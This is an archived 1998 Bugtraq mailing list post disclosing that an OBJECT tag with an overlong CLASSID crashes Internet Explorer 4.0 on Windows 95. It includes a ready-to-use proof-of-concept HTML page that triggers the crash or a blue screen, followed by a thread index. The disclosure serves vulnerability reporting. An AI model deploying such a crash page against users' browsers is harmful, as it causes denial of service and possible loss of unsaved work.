Bugtraq mailing list archives

Object tag crashes Internet Explorer 4.0

From: guninski () HOTMAIL COM (Georgi Guninski)
Date: Tue, 28 Jul 1998 10:10:36 PDT


The <OBJECT> tag seems to crash Internet Explorer 4.0 under Win95 (don't
know about other versions/OS).
The following:
<OBJECT CLASSID=____More than 250 characters here____></OBJECT>
opens a dialog box "IEXPLORE: ...illegal operation" and closes IE 4.0,
or a blue screen with "Fatal exception 0E" and you need to reboot.
I don't think this is exploitable(?), but it is a bad "feature".

Georgi Guninski
guninski () hotmail com
http://www.geocities.com/ResearchTriangle/1711

-------------------------------------Cut here: Object.html -------

<HTML>
Trying to crash IE 4.0
<OBJECT
CLASSID=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111>
</OBJECT>
</HTML>


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

Current thread:

Re: EMERGENCY: new remote root exploit in UW imapd, (continued)
- Re: EMERGENCY: new remote root exploit in UW imapd Jim Greene (Jul 21)
- Re: EMERGENCY: new remote root exploit in UW imapd Peter Jeremy (Jul 21)
- Re: EMERGENCY: new remote root exploit in UW imapd IBS / Andre Oppermann (Jul 21)
  - Re: EMERGENCY: new remote root exploit in UW imapd Kragen (Jul 22)
    - Re: EMERGENCY: new remote root exploit in UW imapd Adam Shostack (Jul 23)
  - Security Bulletins Digest vtmue () HEAVEN RUF UNI-FREIBURG DE (Jul 23)
  - Apache 1.3.1 Released! Aleph One (Jul 23)
- Re: EMERGENCY: new remote root exploit in UW imapd Alex Le Heux (Jul 22)
- Re: EMERGENCY: new remote root exploit in UW imapd D. J. Bernstein (Jul 28)
- Re: EMERGENCY: new remote root exploit in UW imapd der Mouse (Jul 28)
  - Object tag crashes Internet Explorer 4.0 Georgi Guninski (Jul 28)
    - Re: Object tag crashes Internet Explorer 4.0 Matt Rose (Jul 29)
  - Re: EMERGENCY: new remote root exploit in UW imapd David Schwartz (Jul 28)
  - Re: EMERGENCY: new remote root exploit in UW imapd Kragen (Jul 29)
- Re: EMERGENCY: new remote root exploit in UW imapd D. J. Bernstein (Jul 29)
- Re: EMERGENCY: new remote root exploit in UW imapd Bill Royds (Jul 29)